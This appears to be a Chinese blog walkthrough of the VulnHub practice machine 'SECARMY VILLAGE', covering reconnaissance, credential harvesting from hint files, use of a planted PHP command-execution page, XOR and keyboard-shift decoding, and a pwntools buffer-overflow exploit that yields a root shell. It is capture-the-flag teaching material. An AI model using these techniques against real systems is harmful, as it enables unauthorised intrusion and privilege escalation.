SECARMY VILLAGE: GRAYHAT CONFERENCE vulnhub walkthrough靶机

本文详细介绍了一次针对SECARMYVILLAGE靶机的渗透测试过程,包括使用多种工具和技术进行扫描、破解密码及获取flag的过程。通过一系列步骤,如端口扫描、目录遍历、脚本编写等,逐步揭露了靶机内的秘密。
摘要由CSDN通过智能技术生成

SECARMY VILLAGE: GRAYHAT CONFERENCE vulnhub walkthrough靶机

arp-scan -l 扫描靶机IP地址

nmap -sV -Pn -A x.x.x.252 扫描开放端口

打开80端口,并没有什么有用的信息

进行扫描目录

查看anon目录下的源码,发现用户名和密码

进行登录

发现flag1

这里给了提示文件readme.txt,得到第二个用户密码

用户名为dos,利用上述密码切换到该用户后得到提示文件readme.txt

在files目录中找到相应文件,又把我们带到file3131.txt,

file3131.txt文件最后有这样一串字符

BASE64解密第一行,发现头两个字符是PK,于是联想到这是一个zip文件,于是这里写了个简单脚本将它重写为一个为1.zip。

#!/usr/bin/python3
import base64

codes = '''UEsDBBQDAAAAADOiO1EAAAAAAAAAAAAAAAALAAAAY2hhbGxlbmdlMi9QSwMEFAMAAAgAFZI2Udrg
tPY+AAAAQQAAABQAAABjaGFsbGVuZ2UyL2ZsYWcyLnR4dHPOz0svSiwpzUksyczPK1bk4vJILUpV
L1aozC8tUihOTc7PS1FIy0lMB7LTc1PzSqzAPKNqMyOTRCPDWi4AUEsDBBQDAAAIADOiO1Eoztrt
dAAAAIEAAAATAAAAY2hhbGxlbmdlMi90b2RvLnR4dA3KOQ7CMBQFwJ5T/I4u8hrbdCk4AUjUXp4x
IsLIS8HtSTPVbPsodT4LvUanUYff6bHd7lcKcyzLQgUN506/Ohv1+cUhYsM47hufC0WL1WdIG4WH
80xYiZiDAg8mcpZNciu0itLBCJMYtOY6eKG8SjzzcPoDUEsBAj8DFAMAAAAAM6I7UQAAAAAAAAAA
AAAAAAsAJAAAAAAAAAAQgO1BAAAAAGNoYWxsZW5nZTIvCgAgAAAAAAABABgAgMoyJN2U1gGA6WpN
3pDWAYDKMiTdlNYBUEsBAj8DFAMAAAgAFZI2UdrgtPY+AAAAQQAAABQAJAAAAAAAAAAggKSBKQAA
AGNoYWxsZW5nZTIvZmxhZzIudHh0CgAgAAAAAAABABgAAOXQa96Q1gEA5dBr3pDWAQDl0GvekNYB
UEsBAj8DFAMAAAgAM6I7USjO2u10AAAAgQAAABMAJAAAAAAAAAAggKSBmQAAAGNoYWxsZW5nZTIv
dG9kby50eHQKACAAAAAAAAEAGACAyjIk3ZTWAYDKMiTdlNYBgMoyJN2U1gFQSwUGAAAAAAMAAwAo
AQAAPgEAAAAA'''

with open('1.zip', 'wb') as f:
    for code in codes.split('\n'):
        f.write(base64.b64decode(code))
 

获得flag

直接nc本地1337端口,输入该token,获取到第三个用户密码。

查看flag

按照提示,字符串查看secarmy-village发现该程序被upx加壳,先脱壳,再字符串查看找到用户cuatro密码,成功获取

查看flag

按照提示,在目录/var/www/html/justanothergallery/qr中找到一堆二维码,很明显,信息就在这些二维码中,写了一个小脚本,用的是pyzbar[1],得到了用户cinco的密码,得到了flag5。

#!/usr/bin/python3
import pyzbar.pyzbar as pyzbar
from PIL import Image
for number in range(0,68):
    fileName = 'qr/image-{}.png'.format(number)
    img = Image.open(fileName)
    barcodes = pyzbar.decode(img)
    for barcode in barcodes:
        barcodeData = barcode.data.decode('utf-8')
        print(barcodeData)
 

查看flag

查看提示,查找cinco所有的文件,找到密码文件,按照hint提示破解得到用户seis密码,成功得到flag6。

进入提示目录

发现readme9213.txt需要www-data才能查看,继续查看aabbzzee.php

 

利用该php执行命令成功读取txt文档信息,获取到用户siete密码6u1l3rm0p3n473

赋予查看的权限

查看文件

从提示上看,base10和base256进行and怎么能还是base256了?256在16进制中表示为00,那么只能是xor操作了,于是这里将key与数组异或得到password.zip的解压密码secarmyxoritup

那么就异或吧

得到下一个用户ocho的密码m0d3570v1ll454n4,得到flag8。

 

wireshark分析keyboard.pcapng,找到关键数据包

导成txt短文,找到了关键字符mjwfr?2b6j3a5fx/,结合短文含义,使用Keyboard Shift Decoder[2]进行解码,得到用户nueve的密码355u4z4rc0,从而得到flag9

https://www.dcode.fr/keyboard-shift-cipher

反编译用户目录下程序orangutan

可以看到可以通过gets修改local_10为0xcafebabe来实现获取root shell,具体如下:

  1. 远程启动orangutan
  2. 靶机输入socat TCP-LISTEN:8000 EXEC:./orangutan
  3. 本地pwn
  4. 创建test.py文件
  5. from pwn import *
    offset = b"A" * 24
    secret= b"\xbe\xba\xfe\xca"
    payload = offset + secret
    io = remote('x.x.x.252', 8000)
    print(io.recvline())
    print(io.recvline())
    io.sendline(payload)
    io.interactive()
     
 

查看最终的flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值